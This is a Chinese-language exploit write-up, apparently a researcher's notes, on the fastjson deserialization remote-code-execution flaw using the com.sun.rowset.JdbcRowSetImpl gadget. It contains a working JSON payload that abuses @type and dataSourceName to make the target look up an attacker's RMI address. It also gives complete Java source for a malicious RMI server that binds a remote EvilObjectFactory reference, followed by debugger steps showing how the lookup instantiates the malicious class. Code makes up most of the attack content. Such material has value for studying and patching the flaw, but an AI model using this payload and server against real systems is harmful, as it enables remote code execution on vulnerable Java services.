Gadget com.sun.rowset.JdbcRowSetImpl
setAutoCommit() -> connect() -> InitialContext.lookup()
poc如下,dataSourceName 為rmi://localhost:1090/evil:
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\","
+ "\"dataSourceName\":\"" + dataSourceName + "\","
+ "\"autoCommit\":\"true\"}";
RMIServer代碼如下:
package org.lain.poc.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
/**
* @author: lanqihe
* @Date: 下午8:01 2017/12/11
* @Modified By:
* @Description: 本地注冊一個register,並將惡意的類綁定
*/
public class RMIServer {
public static void main(String argv[]) {
try {
Registry registry = LocateRegistry.createRegistry(1090);
//如果通過rmi無法找到org.lain.poc.jndi.EvilObjectFactory,則嘗試從factoryLocation 獲取
//因此,本地測試的話,如果factory正確,factoryLocation隨便填寫
Reference reference = new Reference("EvilObject",
"org.lain.poc.jndi.EvilObjectFactory",
"http://localhost:9999/" );
//客戶端通過evil查找,獲取到EvilObject
registry.bind("evil", new ReferenceWrapper(reference));
System.out.println("Ready!");
System.out.println("Waiting for connection......");
} catch (Exception e) {
System.out.println("RMIServer: " + e.getMessage());
e.printStackTrace();
}
}
}
調試過程如下:
加載com.sun.rowset.JdbcRowSetImpl類
poc中autoCommit設置為true.會調用setAutoCommit方法
f7跟進connect方法,調用lookup方法
繼續跟進getDataSourceName,調用我們的准備的惡意rmi服務類。通過lookup方法就實例化了惡意類,從而導致構造方法的惡意代碼觸發。
總結:fastjson @type的值傳入類,在解析json時,就會調用傳入屬性的getter,setter方法。如果找到一個類getter,setter能夠傳入可控的惡意class字節碼或者是jdni服務,就能導致rce.